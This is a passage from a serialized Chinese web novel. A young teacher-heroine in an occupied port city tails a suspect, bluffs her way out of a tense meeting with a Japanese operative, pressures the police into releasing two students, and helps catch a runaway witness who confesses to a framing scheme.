春妮的嘴角往上微微一提:她叮嘱过蒋四成,注意学校附近的陌生人,特别是开车的陌生人。要是有车子晚上还停在学校附近不走,就找机会把它的车胎扎破。 她追上去时,正看见那个人气得踢打车门的样子。 这个人身手不知如何,但他非常机警。一路上几乎只挑路况复杂的小弄堂走,而且反跟踪意识相当强。如果不是春妮早有准备,这会儿她说不定已经将对方给跟丢了。 现在已近深夜,除了像码头这样特殊的地方,原本就不会有几个人在外行走。这个人还专门挑僻静的小弄堂,这简直是不能更体贴地减轻了春妮追踪的压力。 毕竟她手上的,可是红外线望远镜。每次她一有跟丢的迹象,用望远镜照一照,再高超的隐匿本领在红外线热成像技术面前也无所遁形,这简直爽翻天! 这就是用高科技碾压对手的快乐。 空荡荡的大街上,春妮肆无忌惮地释放着这份无处诉说的快乐,直到感到那个人进了一间三层小洋楼前停下。 春妮记住地址,预备第二天让严广福将纸条交给李德三,让他找王老六查查这座宅子的主人。 原本今天晚上的工作到这里就应该结束了,自己不是什么要紧人物。对方不会,也用不着花费大力气,还藏得跟乌龟似地对付她。如无意外,现在在这座宅子里的人应该就是给她设陷阱的那个人。 但春妮按照她的习惯,决定多等一会儿。 反正一个晚上的时间,她等得起。王老六也是她关系网中的人,如无必要,她不愿意差遣对方搅进这滩浑水。毕竟这里可能是对方的据点,稍有不慎,就是打草惊蛇。 春妮这一等,就是将近四个小时。 直到天际泛起鱼肚白,一辆黑色的雪佛莱从门后开出来。后车窗上,是一颗油得发亮的后脑丸,只看得出来,这辆车的主人穿了一件斜纹灰西装。 春妮:“……”现在汽车就那么不值钱?绑人要汽车就算了,出个门你要什么汽车? 吐槽归吐槽,春妮还是飞快记下了那辆车的牌照,转身追了出去。 不到真的追不到,她不会放弃。 现在天色未明,街上的行人不多,开车的更是没有两个。幸好出了那条里弄就是海城最繁华的吴中路,春妮顺利在吴中路大街上拦到一辆出租车,指挥着它转悠两圈,再次找到了那辆黑车。 黑色雪佛莱似乎没想到会有人在后边跟踪它,它大喇喇地在街上狂奔疾驰,拐了两个弯之后,路边的景色开始让春妮感觉到了熟悉。 她眼睁睁看着雪佛莱从她住的闸口路开过,再穿过她熟悉万分的川陕北路,往西边的斜街拐进了川陕路,最后在一间倭式清吧前停下。 闸口路毗邻倭国聚居区,川陕路相当于聚居区的商业街,这里是倭式清吧最集中的地方。 这个人在川陕路停车,很有可能,他来见的是一位倭国人。 春妮有所预料。 早在头一天,赵发财告诉春妮谭老菊这个名字时,她让人去查过,这个人是青帮大香弟子【注】,跟齐士琴是同一个师父。 齐士琴,就是一手策划刺杀海城教育界人士,逼得常先生和张先生他们不得不逃出海城的幕后人物之一。一年多前常先生遇刺,吴江的学生去爱沙路的76号游|行,那时出面负责安抚的齐士琴还只是个听命人下的二号人物。如今一年过去,他已是76号的一把手,更是倭国人目前在海城最凶的一条狗。 既然跟到这里,春妮也不想轻易放弃。 她没马上下车,而是观察了一下周围的环境,下车之前,她翻出一顶旧毡帽扣在头上。 倭国人不许小贩在街上走动叫卖,这条街虽然是附近最繁华的一条街,但街道一通到底,现在大部分店铺还都没开,实在没有什么驻足遮掩的地方。 她倒是想跟进去,可那间清吧平时只接待倭国人,或是有金卡的别国人士,她根本进不去。 幸好这时候街上走过一个挑着挑子卖梨的小贩,春妮拦下他,连筐带梨地买下来,摆到了清吧斜对面。 她看了看身上的衣服:为了行动方便,穿的是深蓝近黑的对襟褂子,再扣上帽子,活脱脱的小子,倒是不打眼,便安心地蹲下来。 结果刚蹲下来,拐角开出辆黑车,在她面前停下,将她挡得严严实实。 春妮:“……”她只能自认倒霉,起身挪了个位置。 而这个时候,黑车上下来个穿黑西装的人,那人一路小跑,进了对面的清吧。 那人不一会儿领出来个穿斜纹灰西装,发蜡打得亮瞎人眼的男人。黑西装将人领到春妮面前那辆黑车前,看着他打开后车门钻进去,自己却退后两步,守在了车门边。 春妮悄悄调整了一下蹲姿,突然有些后悔,自己刚刚挪得太开了。 这辆车的窗帘半拉,从她现在的角度,只隐隐看得见后座坐了两个人。里面人长相如何,身材如何,一概判断不出。 春妮正在思索,该想个什么办法如愿观察,对面的车窗忽然摇下,一只手拨开白色的蕾丝窗帘,手的主人在车里对她微笑:“看上去,我们好像有位小朋友不请自来了?” 第112章 112 倚仗 被认出来了?怎么被认出来的? 春妮的脑子有一瞬间的空白。 她强压下复盘行动的冲动, 站了起来。 借着起身的动作,春妮很快恢复了平静,还对车里的人笑了笑:“听说你们在找我, 我来了。” 春妮那一瞬间的情绪波动, 一般人或许看不出来,却瞒不过对面的人。 他面带笑容,赞叹道:“久闻顾小姐大名,果然是百闻不如一见,难怪能够顺利跟着这个废物到这来。” “顾,顾春妮?”车里另外那个人后知后觉,压抑着声调惊呼一声。 而那名本来在街道上警戒的黑衣人立刻转身过来, 掏出枪指向她。 刚见面说了两句话,对面人除了认出她的身份, 还猜到了她找到这里的方式。这个人,他究竟是什么人物? 春妮心中惊涛骇浪,打迭起十二分精神,淡笑一声: “侥幸而已。” 她看了一眼如临大敌的黑西装, 微笑道:“拿枪指着人的脑袋,这就是您招待朋友的方式?” “是我的不是了, ”车门终于打开,里面的人走出来,伸手虚引:“本来有些冗务在身, 既然朋友来访,不如随鄙人进去喝杯茶, 怎么样?” 春妮微微仰头。 这个人生得不十分高,但也比还不到十四岁的春妮高半个头。他梳着海城上流社会男人常梳的大背头,穿的是件卡其色长款大衣, 眉眼是典型倭国人圆短的相貌,看上去是个各方面都很平庸的中年人。 他有多大?三十二?三十三? 春妮扫了一眼跟在他身后下汽车的人,记住他的容貌,点头笑道:“客随主便,我没问题。不知先生您怎么称呼?” 那人没答。 春妮不再追问,跟着他到了对面清吧的二楼,进入其中一间茶室。 后面那人想要跟进来,却被黑西装伸出手,拦在了门外。两个人连同司机在内,把住了茶室唯一的出口。 这间茶室唯一的窗户靠近天顶,是一个约略有四十公分长宽的气窗结构,此时柔和的吊顶灯打开,倒也显得室内光明洁净,无有藏匿之处。 春妮随意在矮几边一块蒲团上盘腿坐下。 侍者端上茶盘,奉上一壶清茶并几 色小点。 奔波一整晚,春妮早就饿了,见这茶点做得精致可爱,不客气地拈起一颗,两口一个,很快干掉了小半盘。吃完点心,她觉得有点齁得慌,又倒了一杯茶,吹吹热气,一口一口慢慢啜饮。 其间,那人一直默默观察她,至到此时方笑道:“顾小姐胆色的确过人。” 春妮咽下茶水,意有所指:“您也不差。”敢跟我共处一室。 那人听懂了,笑容微微一顿:“你不怕我茶点里下了毒?” 春妮拍掉手上的点心渣,笑道:“我只是个奉公守法的普通人,先生您为什么要浪费一份毒|药去杀我?”杀她比抓她容易多了,没必要设下天罗地网抓了再杀。 刚刚发现被人针对的时候,春妮也有一瞬间的疑心,会不会是温南东窗事发,但如果真的是温南,对方反而也不必设陷阱害她,一声令下,光明正大进学校,或是设下天罗地网抓人就是。 “顾小姐对自己很有自信。可是,就我得到的消息来看,你很同情万国商团那些俘虏,为此,您这么节俭的人,还给他们花钱买药治了伤。作为潜在抗倭分子,你为什么不值得一份毒|药?” 春妮暗叹一口气:早知道被你们这群恶狗盯上,我该再低调一些的。 也称不上后不后悔,这个人盯上她绝对不是这个原因。每天去看俘虏们的人这么多,谁也没因为这个被抓起来,他必然还是另有目的。 她道:“‘潜在’这两个字就很可笑,我同情乞丐,我就潜在想当乞丐?我去商团训练,看见那些人没有医药,便施舍了我的善心,就像我去看见码头工人没有热水,免费为他们供应热水一样。哦对了,我也免费送了一些伤风药给力夫,这能说明我潜在想当力夫吗?作为一个善良的人,同情受苦的人,尽我善良的本分,也是潜在抗倭分子?” 春妮说话太过不客气,他脸色终于沉了下来:“顾小姐说自己善良?要不要我把这句话拿去问赵发财?” 春妮讶道:“您说什么?我听不懂。赵发财的事我听说了,但他那个病,不是有药有钱就治得了的吧?我再善良,也不至于拿学校的钱去同情股东。赵家这么有钱,尽够吃药了。” “……”已经在自己手中,她为什么还有恃无恐?为什么不怕? 他松了松领节,道:“顾小姐有跟我兜圈子的功夫,不如想想怎么跟我解释,你为什么会跟踪路元奎。” 路元奎,想必他就是外面那个梳大油头的中年男人。 春妮记住这个名字,道:“很简单,我发现昨天晚上有人要对学校不利,跟着那人,顺便就找到了您说的那位路元奎先生。对了,我还没有请教,您说的那位路先生为什么会对我们学校不利?我们似乎跟他无冤无仇呢。” “可这四天,连带今天在内,是五天。你的同事都说你不在学校。你是说,你的同事在跟巡捕房说谎?” “还没请教,您是巡捕房的哪位巡捕?” 两个人各说各的,互不相让。春妮常年在码头上做生意,嗓门又大又急,一开口像五百只鸭子似的,引得人烦燥不堪。她就这么笃定,他不会对她怎么样? 他被吵吵得一句话脱口而出:“顾小姐,要不要我提醒你一句,现在你还在我手上?” 说完,他暗暗握了下拳头:竟是被个稚龄少女引得动了火气。 心里反而更加春妮看重了一层。 好在他喝斥之后,顾春妮识趣地闭上了嘴巴。 对方这才有时间从容提壶注水:“顾小姐,这些事,你不承认也没有用,我有很多种办法让你开口。” 春妮笑了,露出了她的尖牙:“你信不信,在我开口之前,我有更多的办法杀了你。” 噗哒哒……茶水倒出了茶杯之外。 路元奎虽然是个蠢货,但随便一个人,常年坚持干一件事,出错的可能性也会很低。路元奎靠绑人勒索起家,肉票没绑到,反而悄然无声被人摸到老巢,自己也被他连累曝露,眼前这个小姑娘是第一个,也是他所知道的唯一一个。 她的确有资格放出这句狠话。 这是房间里两个人达成的第一个共识。 “年轻人,自信是好事。自大嘛——”他笑着摇了摇头,搁下茶盏,盖住那两滴水渍。 春妮并不在乎在别人的地盘上威胁人:“像我这样的人,烂命一条,说不定哪天就死在码头上,或是随便哪里。死之前杀个把人,怎么说也是我赚了。您说对不对?” 对面的人有一瞬间的茫然:他自认为见过各种各样的华国人,即便是最聪明最厉害的那些,在面对这样的困局,也会变得审慎保守,绝不会像这个女孩子一样,想说什么说什么,似乎一点也不怕他接下来的手段。 她不像是无知的蠢人,相反,她还很聪明。那么,她是有恃无恐?她的倚仗是什么? 即使进门之前,他的保镖已经搜过她的身,他这时仍忍不住再次看向她。她的手上光秃秃的,没有戒指,手镯这类危险的金属饰品,全身上下素净得没有任何多余的布条,身体也单薄得像个真正的贫民小男孩。 这双细骨伶仃的手真的能轻易杀死他?跟这个小姑娘独处于一室,他是不是有些托大了? “我想,先生的目的必定不是跟我结仇,我们没必要这样剑拔弩张,您说对不对?”春妮搁下茶杯。她敢跟着人进来,无非就是料到了这一点。知道这件事的幕后人物是倭国人之后,她就明白,对方真想要她的命,不用设计陷阱来抓她这么麻烦。 杯盏碰撞几案,他恍然惊觉,自己竟然发起了呆。 “如果顾小姐执意这样蛮横无礼,那我就不能肯定了。”他执起茶盏,掩饰自己内心那一丝的后悔。 “相信我,我只是想弄清楚,为什么我和我的学校独得先生您的关注。如果我说了什么话让您哪里不愉快,我可以给您道歉。”说着,春妮站起来,冲他猛地一鞠躬。 对面人的身体微不可见地往后一仰。 “贵校师生频繁探访俘虏营,让鄙人有些不安。”他不动声色道:“贵校师生这样做,很不利于华倭团结。” 狗屁!真是这个原因,对方完全可以指挥宪兵队来抓人,反正离得也不远,等英国人反应过来,说不定人都凉了。 这点春妮倒是猜错了,倭国军方派系也复杂,宪兵队在海城权力很大,眼前的这个人未必指挥得动。或者说,春妮的咖位还不值得倭国军方通力合作来对付。 腹诽归腹诽,基于前面已经吓得他不轻,她要是再无所顾忌地大放厥词,说不定会起到反效果,春妮垂首不语。 “我们很欣赏顾小姐,原本是真诚想同顾小姐合作。但是,贵校对华倭关系的激进,让我们很担心。我们原本想请令弟出来,跟顾小姐谈一谈,但是,顾小姐显然对我们有所误会。” 一年多了,还是不习惯倭国人说话的方式…… 春妮脑子里转了两个圈,才捋通顺这人要表达的意思:他意思是,他看中了她的才华?但怕她不肯合作,所以要先设计个计策害她,或者是把夏生抓在手里,好迫使她听令? 可为什么还要牵连无辜人,硬扣给他们一口抗倭分子的锅?这是巡捕房自由发挥?还是也出自于他的授意? 春妮觉得,这个人没说实话。或者,他没有完全说实话。 但能够走到这里,找出背后的这个人,已经是意想不到的结果。其他的事,可以从长计议。 “先生,您要知道,倭国同华国打仗原本就是实情。两国交战,以倭国人在海城的作为,海城人偏向另外一边,才是正常的吧?” “顾小姐,你知不知道,你今天的这番话,只要说出去,你和你的学校就见不到明天的太阳了。” “不会的,”春妮这点自信还是有的:“您对我们学校这么关注。不会不知道,我们一向不鼓励在学校谈论,并 严禁学生参与政治,老师们私下行为我们管不着。在这样的大环境中,有哪一所学校像我们这样做到一点世事都不问,一心钻研手艺技术?” “也没有哪所学校让学生开学参观俘虏营。” “这世界上的规则,终归是强人说了算。蚂蚁想什么,有那么重要吗?”春妮摊摊手:“何况我们一群木匠能干什么?总不能拿着锯刀造反吧?” “为什么不能,拿着锯刀造反?” 春妮笑了:“只有没饭吃,被逼上绝路才会造反。要不要逼他们上绝路,学校两千多个师生的命运都在您手上。以后海城多出两千个木匠,还是多出两千个像我一样的刺客,端看您的选择了。” “你在威胁我?” “说出事实怎么算威胁呢?”春妮笑意如刀:“我们的命运,可都在您身上。您一定要好好选啊。” 第113章 113 站着活 上下两辈子, 春妮都没有向人低头的毛病。 导致现在,她哪怕深陷敌手,明知外面杀机重重, 从她进门的那一刻起, 可能门外的不同角度就布下了至少十几个枪手,只等着出门把她打成马蜂窝,她也没考虑过此次交锋有低头的可能性。 这也不是认怂解决得了的问题。 倭国人嚣张贪婪,但凡她流露一丝怯懦畏缩之意,对方绝对会将她连皮带骨地吞下。那么,她背后的学校和工厂变成其案板上的鱼肉,也是迟早的事。 她和方校长, 和韩厂长,和老师们辛辛苦苦为学校寻找出路, 呕心沥血发展工厂,不是为了给倭国人做嫁衣的。 为了学校活下去,他们丢下清高,给舞女画宣传画, 给英国人赔笑脸,给倭国人送好处, 在青帮闻人门前一等就是一整天,干尽了以前不屑干不想干的事。唯有这一条是底线,一步不能退。 所以, 她从进门起,就开始营造一种气氛——我有所依仗, 我不怕你。我不止不怕你,我还要你觉得我可怕,不敢轻易动我。 对面的人凝视着她, 眼神如秃鹫一般,长久不语。 春妮双手随便搭在几案上,实际手心的汗已经洇潮了桌面。 “顾小姐说得不错。”他忽然笑了起来:“这个世界,终归是强人的世界。那些小蚂蚁,让他们好好待在蚂蚁窝里就好了。” “很高兴我们的想法达成了一致。”春妮站了起来:“我想,我应该可以离开了,对不对?” 她不等那人说话,转身向门口走去。 快走到门边时,春妮忽地一扭头,望着那人手上那柄银光锃亮的小手|枪,微微一笑,翻出手心的小银匕,微笑道:“您是想赌是您的枪快,还是我的刀快吗?” 对面的人终于掩饰不住脸上的惊容:明明进来前,他们已经检查过她!这柄匕首她藏在哪?她身上还有哪些手段? 他若无其事收回银枪,站起来送她出门:“顾小姐请吧。” 春妮推开木门,对门口守卫的人笑着说了一声“劳驾”,真正走了出去,再没回头。 到她走到门外,走下木梯,再也看不见走廊尽头的那间小小的包房。自始之终,里面的人都静悄悄的,那柄□□保险栓都没有被拉动。 而屋内的人在她离开后,脸色阴沉了一瞬:这个小丫头太嚣张了,的确,在刚刚的那一瞬间,他动了杀机,可……一个活着的顾春妮,比死了的有用,她还不能死。 直到走出川陕路,走回闸口路,彻底进入英国人的地界,春妮瘫坐在一户人家的门槛上,才敢吐出胸中的那口长气。 凭心而论,刚刚在清吧茶室里的会面,不能算是春妮两世经历过的最惊险的场面。可对话中蕴含的杀机,对话两方话语中的博弈,绝对可以称得上九死一生,堪称她两世之最。 她何尝不知道,在对方的地盘威胁别人,是把自己的命放在对方理智的天平上摇摆。稍有一个不慎,她刺激得对方失去理智,就死定了。 可她必须这么做。 因为,她不止想活,更想站着活。她更想带着学校的两千多名师生都站着,好好活下去。 想站着活,先得不怕死。 若她不怕死,怕的,就该是别人了。 那位——不知名的倭国人,看来是比较珍惜自己小命的。 不过他的洞察力太可怕了,自己到底是哪里漏的馅? 春妮上下检查一遍,看到那双手时,明白了:她很久没有挑担子出来当小贩,风吹不着,雨淋不着,她的手跟一般的小贩已经有了很大的分别。刚刚时间仓促,来不及多作掩饰,这个人肯定从这双手上看出的破绽。 这个人仅靠在车里扫过的一眼,就能发现这样细微的差错,并不是普通人能够做到。 只可惜,恐怕她暂时无法得知对方的真实身份了。 此次露出破绽,倒是因祸得福,得知了暗中设计她的人。 路元奎,她在心里默念着这个名字,十分钟之后,回到了学校。 学校昨天半夜发生了一件大事,此时余波未平,待有学生看见从教室外边走过的春妮时,尖叫欢呼声几乎掀翻了房顶。 “怎么了怎么了?”方校长衣冠不整,从家里跑了出来。 昨天的麻醉|药生效,他半晕半睡躺在床上,到现在药力还没有过去。 师生两个看见对方,各自欢喜。 方校长就在操场上扯着嗓子喊:“韩厂长,韩厂长?” 喊了两声,想起来嘿嘿笑:“差点忘了,韩厂长一早去了巡捕房,还没回来。” 一说到巡捕房,春妮也想起来,自己还在巡捕房挂着案子,如今人已经现身,作为奉公守法的良民,第一件事自然要去把这事说清楚。 她先去校长家里看了夏生,小家伙受麻醉|剂的影响,仍然睡得死死的,连个惊吓都没受,倒是好福气。 春妮放下心来,让方校长先休息,想想巡捕房里那群都是欺软怕硬的小人,自己肯定不能一个人去,那么,是找罗阿水陪她,还是找蒋四成陪她? 主意还没拿定,迎面跑来一大群人:“小顾老师,你回来啦?” 为首的人熊罴似的又高又壮,跑起步来吨吨吨的,气势相当迫人。如果不是梳着女士短发,春妮几乎以为她是个男人。 跑得近了,春妮认出了来人。她就是这次在学校秋招之前新招进来的女老师之一,季老师。只是她事务繁忙,新老师招进来后,只在校长开的迎新会上认了个脸,还没说过话。 对这位季老师,春妮可是久仰大名。 “小顾老师,你可回来了。俺们这些天可担心死你了,你没事吧你?”季老师声如洪钟,果然不愧是传言中骂跑巡捕的强人。 春妮笑着谢过各位的关心,夏风萍,问她:“春妮,你是不是先回家休息一下?” “不是,我打算去巡捕房。”春妮趁机抱怨道:“也不知道巡捕房怎么办的事,居然诬蔑我夜闯民宅伤人。我哪能让他们冤枉我?肯定得去巡捕房说清楚,你们说是不是?” 众人心中各有猜测,面上是有志一同的愤慨:“就是就是,巡捕房那些人破不了案,最喜欢栽赃陷害别人。这是打量我们小顾老师无依无靠,可着人小姑娘欺负,太不要脸了!” 季老师关切地问:“小顾老师,你一个人去巡捕房啊?不如我们陪你去吧,多少也好有个照应。” 春妮对传闻中季老师的战斗力好奇不已,何况这一次己方占理,对方气焰又被打了下来,她们愿意去壮声势,当然很好。当即慨然道:“那我就多谢各位老师们帮忙了,等回头请你们大家吃螃蟹宴。” 这会儿中秋已过,还能赶上吃最后一拨秋蟹。大伙听了兴致更高,当即将春妮拥在中间,闹哄 哄地去了巡捕房。 巡捕房离学校其实不远,隔条街的距离。 春妮几人到时,对方已经收到消息。 因为季老师目标大,两个巡捕站在台阶上,第一眼看到的就是她。因而苦着脸对她讨饶道:“季老师,我们今天没人去学校,你怎么又来了?”自从上次被几个女人追打,又让巡长臭骂一顿丢了面子,还轮流上报纸,让人翻着花样的嘲,连着几天晚上,还有人朝他们大门扔臭鸡蛋,巡捕们是真的不想再去淌学校这趟浑水了。 季老师笑道:“不是我来,是她来。”说着,让开路,露出了身后的人。 春妮笑着跟两人招手:“黄巡捕,王巡捕,你们二位近日可好?” 两人一脸见了鬼的表情。 春妮伸出一只手,在两人面前晃晃:“怎么?两位巡捕不认识我了?”不至于啊,她上回进监狱,还承蒙这两位巡警盛情“招待”过呢。 “怎,怎么会?小顾姐,呃,顾老师,你怎么突然来了巡捕房?” 春妮笑而不语,看到这一幕,她心里突然冒出了一个主意。 被两个女人连着吓两回,那两人完全忘了春妮有案在身的事,叫她凉嗖嗖的目光一看,顿时觉得下身好像也凉凉的。 正自惶惶不安,却听她道:“两位巡捕忘了,你们这几天不都在大张旗鼓抓我,说我杀伤了人命吗?我怕得很,一回来就来自证清白了。” 两人忙道:“不不不,顾老师,这话不是我们说的。我们是接到有人报案,说你入室伤人。我们可没说这话。” “对对,我们对你绝对没意见。但这个程序还是要走一走的,顾老师,你要自证清白,必须有证据。小王,你在这招呼顾老师,我去跟警长说一声。” 王巡捕:“……” 春妮笑着作了个掏手的动作,忽而又停下:“不行,我不能现在拿出来。” “为什么?”王巡捕下意识问。 春妮叹了口气:“我怕啊,万一我把证据拿出来,巡捕们说是假的,或是将我的证据毁了,那我岂不是百口莫辩?” “这,这怎么可能呢?”王巡捕干巴巴地说。 “怎么不可能,毕竟我们这么多人看着,巡捕们都铁口一辞说我的学生们抗倭,那现在我一个人孤零零地在巡捕房,万一发生点什么,谁能说得清。您说是不是?” 王巡捕:“……”只恨自己刚刚溜得不够快。果然知道这事没这么顺利,这小丫头要挑事。 季老师他们这时也反应过来了,纷纷给她祝拳:“就是就是,小顾老师,可千万别轻易把东西交给他们。这些人都黑了良心。” 十几个女人围着他吵,王巡捕头都大了一圈,投降道:“那小顾老师,你说要怎么办?” 春妮作势掏出包里的本子:“我想借贵地电话一用,给认识的报社打个电话,请他们作个见证,此事就算了结。怎么样?” 不怎么样! 这几天他们原本就因为江浦学校被报社媒体骂成了臭鱼烂虾,再让这姓顾的小姑奶奶把他们招来出一次丑,那他们巡捕房的脸真的是彻底不用要了! 何况舆论都是一阵风,前两天报社集中轰炸一波,忍过去就好了。今天她再来一出,岂不是叫人重新记住一遍?这事坚决不能干啊! 如果换成是别人这样要胁,巡警们早一顿棍子抽过去,包管把人治得服服帖帖,但眼前的小丫头有多难缠,谁都没他们清楚。 这是位真打不得碰不得的姑奶奶啊! 王巡捕算是看清楚了,这小姑奶奶来销案是假,来闹事是真。 这事他可兜不住,赶紧认怂道:“顾老师,你在这坐坐,我去叫我们巡长来。你跟他商量。” 王巡捕离开后,夏风萍他们兴奋地凑过来:“顾老师,你说,巡捕房这次真的会放了他们吗?” 其实对方的计策,到现在学校已经破了一大半。再抓着两个无辜的学生不放,只会两败俱伤,说不定还会激起民变。 两千个刺客的威胁,谁都要掂量掂量。 倭国人在华国战事没有一开始想的那样乐观,海城这个大后方不能再出事。 春妮借机逼迫他们放人,无非是防着巡捕房有些人想最后压榨一把,捞取学校的保释金。 果然,半个小时后,巡捕房被无故羁押近十天的两个学生终于销案放了出来。 即使有春妮提醒,学校请跟两个孩子同牢的狱友照顾,他们仍是吃了不小的苦头。 季老师望着两个孩子抱头痛哭的背影,叹了一句:“要是能一起把张乾坤领出来就好了。”她是张乾坤的授课老师之一。 春妮拍拍她的肩,安慰道:“不着急,一个一个来。” 张乾坤的问题,说复杂是真复杂,说简单也很简单。 第114章 114 人证 出了巡捕房, 春妮领着一干娘子军直奔中英友好医院。 赵发财就在那里住院。 前几天,春妮手起刀落,帮他去了烦恼根。原本他家里人送他到附近的医馆治的伤, 奈何这件事过于轰动, 医馆大白天的来了一大群人来看热闹,撵都撵不走,实在不利于病人养病,赵家人只好狠狠心,花高价将他送进了洋人开的医院躲清净。 洋人医院探访病人有固定的时间,娘子军们去时,正好是中午开放探视的时间。 赵发财住的外伤科在三楼, 想进去探视病人,得先如实登记来访人姓名。娘子军们派出一位姓郑的女老师作代表为她们登记, 其他人站在走廊上等候。 季老师是个急性子,等不住,和两名女老师在走廊和楼梯上走去走来消磨时间。 中午这会儿,来医院送饭的病人家属很多, 几个姑娘围着春妮,在听她讲出门走船的事。 现在海城出行多是蒸汽船或是小舟, 像龙骨帆船在近海已经很难见到,春妮就跟他们讲:“……船上那些水手们都各有职司,其中最危险, 最需要技巧的当属瞭望手。有一次船队走到丰州起了大雾,船长让瞭望手登上主帆去负责瞭望领航。他腰上系着麻绳, 手脚并用爬到主帆的杆上,恰在这时,一阵怪风吹来, 那位瞭望手正好攀到支架上,一只手还没搭上……” 老师们时不时惊呼,听得十分入神, 就是这个时候,走到楼梯口的季老师突然大喝一声:“黄丽花,不许跑!”顿时整个人砰砰砰如重锤夯地,三两步蹿下楼梯,不见了踪影。 等春妮她们跑到楼梯口时,只留下两个面面相觑的女老师。 几人忙问:“你们看清楚,真是黄丽花来医院了?” “我,我好像没看清,你呢?” “好像是,我也不——” “哎呀,别是不是的了,赶紧追啊!把黄丽花追回来,不什么事都清楚了?” 黄丽花是张乾坤一案的关键人证,老师们都知道要紧,赶紧招呼一声,十几个女老师一窝蜂追了下去,直奔一楼出口。 春妮看这样不行,连忙叫住人:“你们两个去二楼,你们两个到一楼,分头行动,其他人跟我来!” 一阵鸡飞狗跳,春妮几人总算在医院西头的蔷薇花墙下边找到了黄丽花。 主要是季老师的块头大,她半蹲在地上,膝下牢牢压着一个女人,蒲扇似的手将她脑袋拨去拨来:“叫你跑,叫你跑!你他妈——你要是不心虚,你跑什么?” 春妮让季老师让开,道:“黄丽花,你把头抬起来。” 黄丽花脑袋埋在肩窝里,呜呜哭,像条拼命往土坷垃 里钻的蚯蚓。 季老师狠狠拽住她的头发,她“嗷”地一声,头被迫拽得后仰,让大家看了个正着。 不是黄丽花是谁? 这段日子,因为这个女孩子,学校有多被动,老师们心里最清楚。但因她的失踪,大家都以为,她是被赵发财暗害灭口了,心痛之余,学校给她家里人送粮送物,还发动捐款。 结果她好端端地,一根毛没少。好像还—— “黄丽花,你为什么躲着我们?” “黄丽花,你知不知道你失踪之后,我们有多担心?” “这些天你哪去了?” 黄丽花目光躲闪,只知道捧着脸呜呜哭。 有心细的老师发现了不对劲的地方:“黄丽花,你哪来的金耳环?” 能进江浦学校读书的学生,家境至多不过温饱不愁,不可能给孩子买金饰戴。特别是黄丽花,她家里是苏北人,一家六口人到现在还跟别人合租一间群租房。事发后老师们去过她家探望,对她家情况再了解不过。 再仔细看,她身上穿着的衣裳是件喇叭袖的乔其纱淡黄连衣裙,这样一条裙子在先施至少卖二十块钱! 老师们还是比较谨慎的,尽管心里生了疑,仍有老师打圆场道:“好了好了,这些事等回去再说,黄丽花,你起来,先跟老师回去。” 说着,要将她从地上扯起来。 黄丽花突然蹦起来,用头将面前的女老师顶开,撒腿冲了出去。 只是没跑两步,她不得不停下。传说中那个辣手断根的小顾老师抱着手臂挡在正中央,斜挑着嘴角,冷冷看她。 季老师这回缓过了气,不客气地扯起她头发,先甩了她两个耳光,大骂道:“小贱人还想跑哪去?你这个害人精,害了那么些人,还有脸跑?” 完了又骂老师们:“都到这个地步了,你们还想着给人留脸。看这小婊|子身上穿的戴的,是她用得起的吗?保不齐是干了什么脏烂事,不敢跟我们回去!” 老师们目瞪口呆:虽说她们对季老师的彪悍早有认知,而且她的长相跟普通人认知的老师也的确有些距离,但她刚刚脱口而出的污言秽语,仍是突破了大家的想象。 季老师,可是学校除了林老师之外,唯二的美术老师啊。 这个年头颜料这样贵,没点家底的人家,哪里舍得出钱让孩子学美术?还是个女孩子? 这样的人家教得出脏话张口就来的泼妇? 不过这不是重点,几位老师赶紧按季老师说的,留几个人按住黄丽花的手脚,再派一个人出去叫黄包车,准备强行把她带回学校。 春妮看这里没有了自己的事,想起楼上的赵发财,跟老师们打了声招呼,跟夏风萍两人返回了三楼。 她们一群女人大呼小叫地到处抓人,早就引来了为数不小的围观众。春妮上楼时,还有没散场的观众们围在楼梯间的大窗户前观看。 学校会外语的老师们已经押着黄丽花先一步回了学校,春妮只能跟围观群众打听。一说起那个断了根的老男人,大家纷纷表示明白,还有人热心地带她到了病房外头,探头探脑,显然还想看热闹。 春妮推开门:病房里有一个断腿的,有一个瘫了的,然而—— “赵发财呢?”夏风萍的问题也是春妮的问题。 “跑啦。” “跑了?”春妮跟夏风萍对视一眼,心生不妙。 断腿的那个勾着腰兴致勃勃八卦:“这个姓赵的风流啊,躲在医院的这几天,来找他的女人都没断过。不晓得今天来的又是哪个厉害的小妖精,明明躺在床上半死不活的,张着耳朵听了会儿动静,吓得脸色都变了,嘴里直喊‘姓顾的怎么来了’,硬是自己爬下床,坐着轮椅跑了。唉,你们刚刚从外头来,知道姓顾的是谁吗?” 春妮:“……溜得还真快!” 夏风萍急道:“他跑了,那张乾坤的事怎么办?” 春妮转身快步出了门:“跑得了和尚跑不了庙,去他家找他去!我就不信,他还能长着翅膀飞不是?” 春妮两人出了医院,招来一辆黄包车直奔赵发财的家。 然而,赵发财可能还真的长了双翅膀。 只见这栋几天前还塞满了人的小楼房却是真的人去楼空,如一卷风似的,房子里值钱的东西全被一卷而空,只留下几个破烂桌椅。 两人无功而返。 回到学校后,黄丽花的公审也进入了尾声,她这几天的经历毫无意外被掏了出来。 她自然不肯说老实话,还是季老师上去,再结结实实甩了她几个嘴巴子,她才哭哭啼啼地说出了实情。 跟他们猜的差不太多。 其实黄丽花跟赵发财在事发前一个星期就认识了。赵发财请她喝了咖啡,还给她买了支口红,这让从没有过这些好东西的黄丽花顿时被勾住了。 条件差不多后,赵发财说学校得罪了他,他想给学校一点教训,让黄丽花帮他的忙。他以事成后许诺她当自己的第三房姨太太为条件,唆使黄丽花配合他演了出“流氓调戏女学生”的戏码,果然引得路过的张乾坤向他挥拳,要解救被流氓缠住的女同学。 几人动手之时,赵发财的保镖绕到后面,悄悄解开了张乾坤的枪套,想要借机偷走他的枪,却是让张乾坤一胳膊肘拐了一下,枪支走火,打到了他自己的腿上。 当时张乾坤忙着跟另外几人对峙,根本没留意身后的这个人。人伤了之后,他第一时间没发现是自己驳壳枪出的问题,以为那些人想拿枪杀他,急急忙忙地拽着黄丽花跑了。 跟张乾坤分开后,黄丽花遵照赵发财的话,这几天躲在华界的一个小旅馆中,还做着赵老板会开小汽车来迎娶她的美梦。 直到前两天,她听见旅馆同住的人说起这件案子,才知道案子上了报纸。赵发财迟迟不见人影,事情却闹得这么大,加上他之前给的钱,黄丽花也用得差不多了,她心里没底,只好又悄悄跑了回来。 随后她打听到接下来发生的事,找到了医院,却跟同样来探病的老师们撞了个正着。 因为回校的阵仗闹得有些大,黄丽花没进老师办公室,几乎所有学生都知道是她回来了。又正好逢着中午,几乎所有人都围在操场听完了整件事的经过。 